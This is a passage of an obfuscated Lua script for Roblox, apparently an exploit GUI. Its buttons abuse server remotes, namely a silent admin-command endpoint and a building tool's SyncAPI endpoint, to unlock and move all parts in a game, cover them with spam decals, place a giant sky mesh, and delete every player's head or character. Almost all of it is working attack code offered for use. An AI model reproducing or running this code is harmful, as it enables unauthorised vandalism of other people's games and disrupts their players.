local RequestCommand = ReplicatedStorage:WaitForChild(_D(1313)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1314))
RequestCommand:InvokeServer(_D(1315))
RequestCommand:InvokeServer(_D(1316))
end)
local UTSG = Instance.new(_D(1317))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1318)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1319))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1320)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1321))
end)
local UTSG = Instance.new(_D(1322))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1323)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1324))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1325)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1326))
end)
local UTSG = Instance.new(_D(1327))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1328)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1329))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1330)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1331))
end)
local UTSG = Instance.new(_D(1332))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.221, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1333)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1334) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1335) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1336),
[2] = {
[1] = {
[_D(1337)] = part,
[_D(1338)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1339),
[2] = {
[1] = {
[_D(1340)] = part,
[_D(1341)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1342),
[2] = _D(1343),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1344),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1345),
[2] = {
[1] = {
[_D(1346)] = part,
[_D(1347)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1348),
[2] = {
[1] = {
[_D(1349)] = part,
[_D(1350)] = cf,
[_D(1351)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1352),
[2] = {
[1] = {
[_D(1353)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1354),
[2] = {
[1] = {
[_D(1355)] = part,
[_D(1356)] = _D(1357)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1358),
[2] = {
[1] = {
[_D(1359)] = part,
[_D(1360)] = _D(1361)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1362),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1363),
[2] = {
[1] = {
[_D(1364)] = part,
[_D(1365)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1366),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1367),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1368),
[2] = {
[1] = {
[_D(1369)] = part,
[_D(1370)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1371),
[2] = {
[1] = {
[_D(1372)] = part,
[_D(1373)] = _D(1374)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1375),
[2] = {
[1] = {
[_D(1376)] = part,
[_D(1377)] = _D(1378),
[_D(1379)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1380),
[2] = {
[1] = {
[_D(1381)] = part,
[_D(1382)] = color --[[Color3]],
[_D(1383)] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(1384)) then
spawn(function()
SetLocked(v,false)
MovePart(v,v.CFrame * CFrame.Angles(math.random(0,1), math.random(0,1), math.random(0,1)))
end)
end
end
end
randomise()
end)
local UTSG = Instance.new(_D(1385))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1386)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
while true do
local ReplicatedStorage = game:GetService(_D(1387))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1388)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1389))
wait(0.6)
RequestCommand:InvokeServer(_D(1390))
wait(0.6)
RequestCommand:InvokeServer(_D(1391))
wait(0.6)
RequestCommand:InvokeServer(_D(1392))
wait(0.6)
RequestCommand:InvokeServer(_D(1393))
wait(0.6)
RequestCommand:InvokeServer(_D(1394))
wait(0.6)
RequestCommand:InvokeServer(_D(1395))
wait(0.6)
end
end)
local UTSG = Instance.new(_D(1396))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1397)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1398))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1399)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1400))
RequestCommand:InvokeServer(_D(1401))
RequestCommand:InvokeServer(_D(1402))
RequestCommand:InvokeServer(_D(1403))
RequestCommand:InvokeServer(_D(1404))
RequestCommand:InvokeServer(_D(1405))
RequestCommand:InvokeServer(_D(1406))
RequestCommand:InvokeServer(_D(1407))
end)
local UTSG = Instance.new(_D(1408))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1409)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(1410))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(1411)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(1412))
wait(0.6)
RequestCommand:InvokeServer(_D(1413))
wait(0.6)
RequestCommand:InvokeServer(_D(1414))
wait(0.6)
RequestCommand:InvokeServer(_D(1415))
wait(0.6)
RequestCommand:InvokeServer(_D(1416))
wait(0.6)
RequestCommand:InvokeServer(_D(1417))
wait(0.6)
RequestCommand:InvokeServer(_D(1418))
wait(0.6)
RequestCommand:InvokeServer(_D(1419))
wait(0.6)
RequestCommand:InvokeServer(_D(1420))
wait(0.6)
RequestCommand:InvokeServer(_D(1421))
wait(0.6)
RequestCommand:InvokeServer(_D(1422))
wait(0.6)
RequestCommand:InvokeServer(_D(1423))
end)
local UTSG = Instance.new(_D(1424))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1425)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1426) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1427) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1428),
[2] = {
[1] = {
[_D(1429)] = part,
[_D(1430)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1431),
[2] = {
[1] = {
[_D(1432)] = part,
[_D(1433)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1434),
[2] = _D(1435),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1436),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1437),
[2] = {
[1] = {
[_D(1438)] = part,
[_D(1439)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1440),
[2] = {
[1] = {
[_D(1441)] = part,
[_D(1442)] = cf,
[_D(1443)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1444),
[2] = {
[1] = {
[_D(1445)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1446),
[2] = {
[1] = {
[_D(1447)] = part,
[_D(1448)] = _D(1449)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1450),
[2] = {
[1] = {
[_D(1451)] = part,
[_D(1452)] = _D(1453)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1454),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1455),
[2] = {
[1] = {
[_D(1456)] = part,
[_D(1457)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1458),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1459),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1460),
[2] = {
[1] = {
[_D(1461)] = part,
[_D(1462)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1463),
[2] = {
[1] = {
[_D(1464)] = part,
[_D(1465)] = _D(1466)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1467),
[2] = {
[1] = {
[_D(1468)] = part,
[_D(1469)] = _D(1470),
[_D(1471)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1472),
[2] = {
[1] = {
[_D(1473)] = part,
[_D(1474)] = color --[[Color3]],
[_D(1475)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1476),
[2] = {
[1] = {
[_D(1477)] = part,
[_D(1478)] = side,
[_D(1479)] = _D(1480)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1481),
[2] = {
[1] = {
[_D(1482)] = part,
[_D(1483)] = side,
[_D(1484)] = _D(1485),
[_D(1486)] = _D(1487).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(1488)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(1489))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(1490))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(1491))
end)
local UTSG = Instance.new(_D(1492))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.265, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1493)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1494) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1495) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1496),
[2] = {
[1] = {
[_D(1497)] = part,
[_D(1498)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1499),
[2] = {
[1] = {
[_D(1500)] = part,
[_D(1501)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1502),
[2] = _D(1503),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1504),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1505),
[2] = {
[1] = {
[_D(1506)] = part,
[_D(1507)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1508),
[2] = {
[1] = {
[_D(1509)] = part,
[_D(1510)] = cf,
[_D(1511)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1512),
[2] = {
[1] = {
[_D(1513)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1514),
[2] = {
[1] = {
[_D(1515)] = part,
[_D(1516)] = _D(1517)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1518),
[2] = {
[1] = {
[_D(1519)] = part,
[_D(1520)] = _D(1521)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1522),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1523),
[2] = {
[1] = {
[_D(1524)] = part,
[_D(1525)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1526),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1527),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1528),
[2] = {
[1] = {
[_D(1529)] = part,
[_D(1530)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1531),
[2] = {
[1] = {
[_D(1532)] = part,
[_D(1533)] = _D(1534)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1535),
[2] = {
[1] = {
[_D(1536)] = part,
[_D(1537)] = _D(1538),
[_D(1539)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1540),
[2] = {
[1] = {
[_D(1541)] = part,
[_D(1542)] = color --[[Color3]],
[_D(1543)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1544),
[2] = {
[1] = {
[_D(1545)] = part,
[_D(1546)] = side,
[_D(1547)] = _D(1548)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1549),
[2] = {
[1] = {
[_D(1550)] = part,
[_D(1551)] = side,
[_D(1552)] = _D(1553),
[_D(1554)] = _D(1555).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(1556)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(1557))
end)
local UTSG = Instance.new(_D(1558))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.31, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1559)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1560) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1561) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1562),
[2] = {
[1] = {
[_D(1563)] = part,
[_D(1564)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1565),
[2] = {
[1] = {
[_D(1566)] = part,
[_D(1567)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1568),
[2] = _D(1569),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1570),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1571),
[2] = {
[1] = {
[_D(1572)] = part,
[_D(1573)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1574),
[2] = {
[1] = {
[_D(1575)] = part,
[_D(1576)] = cf,
[_D(1577)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1578),
[2] = {
[1] = {
[_D(1579)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1580),
[2] = {
[1] = {
[_D(1581)] = part,
[_D(1582)] = _D(1583)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1584),
[2] = {
[1] = {
[_D(1585)] = part,
[_D(1586)] = _D(1587)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1588),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1589),
[2] = {
[1] = {
[_D(1590)] = part,
[_D(1591)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1592),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1593),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1594),
[2] = {
[1] = {
[_D(1595)] = part,
[_D(1596)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1597),
[2] = {
[1] = {
[_D(1598)] = part,
[_D(1599)] = _D(1600)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1601),
[2] = {
[1] = {
[_D(1602)] = part,
[_D(1603)] = _D(1604),
[_D(1605)] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
local UTSG = Instance.new(_D(1606))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.31, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1607)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1608) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1609) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1610),
[2] = {
[1] = {
[_D(1611)] = part,
[_D(1612)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1613),
[2] = {
[1] = {
[_D(1614)] = part,
[_D(1615)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1616),
[2] = _D(1617),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1618),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1619),
[2] = {
[1] = {
[_D(1620)] = part,
[_D(1621)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1622),
[2] = {
[1] = {
[_D(1623)] = part,
[_D(1624)] = cf,
[_D(1625)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1626),
[2] = {
[1] = {
[_D(1627)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1628),
[2] = {
[1] = {
[_D(1629)] = part,
[_D(1630)] = _D(1631)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1632),
[2] = {
[1] = {
[_D(1633)] = part,
[_D(1634)] = _D(1635)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1636),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1637),
[2] = {
[1] = {
[_D(1638)] = part,
[_D(1639)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1640),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1641),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1642),
[2] = {
[1] = {
[_D(1643)] = part,
[_D(1644)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1645),
[2] = {
[1] = {
[_D(1646)] = part,
[_D(1647)] = _D(1648)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1649),
[2] = {
[1] = {
[_D(1650)] = part,
[_D(1651)] = _D(1652),
[_D(1653)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1654),
[2] = {
[1] = {
[_D(1655)] = part,
[_D(1656)] = color --[[Color3]],
[_D(1657)] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
end)
local UTSG = Instance.new(_D(1658))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.31, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1659)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1660) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1661) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1662),
[2] = {
[1] = {
[_D(1663)] = part,
[_D(1664)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1665),
[2] = {
[1] = {
[_D(1666)] = part,
[_D(1667)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1668),
[2] = _D(1669),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1670),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1671),
[2] = {
[1] = {
[_D(1672)] = part,
[_D(1673)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1674),
[2] = {
[1] = {
[_D(1675)] = part,
[_D(1676)] = cf,
[_D(1677)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1678),
[2] = {
[1] = {
[_D(1679)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1680),
[2] = {
[1] = {
[_D(1681)] = part,
[_D(1682)] = _D(1683)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1684),
[2] = {
[1] = {
[_D(1685)] = part,
[_D(1686)] = _D(1687)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1688),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1689),
[2] = {
[1] = {
[_D(1690)] = part,
[_D(1691)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1692),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1693),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1694),
[2] = {
[1] = {
[_D(1695)] = part,
[_D(1696)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1697),
[2] = {
[1] = {
[_D(1698)] = part,
[_D(1699)] = _D(1700)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1701),
[2] = {
[1] = {
[_D(1702)] = part,
[_D(1703)] = _D(1704),
[_D(1705)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1706),
[2] = {
[1] = {
[_D(1707)] = part,
[_D(1708)] = color --[[Color3]],
[_D(1709)] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
wait(0.5)
local function unanchor(part)
local buildingTools = nil
local player = game:GetService(_D(1710)).LocalPlayer
for _, item in pairs(player.Character:GetChildren()) do
if item:IsA(_D(1711)) and item:FindFirstChild(_D(1712)) then
buildingTools = item
break
end
end
if not buildingTools then
for _, item in pairs(player.Backpack:GetChildren()) do
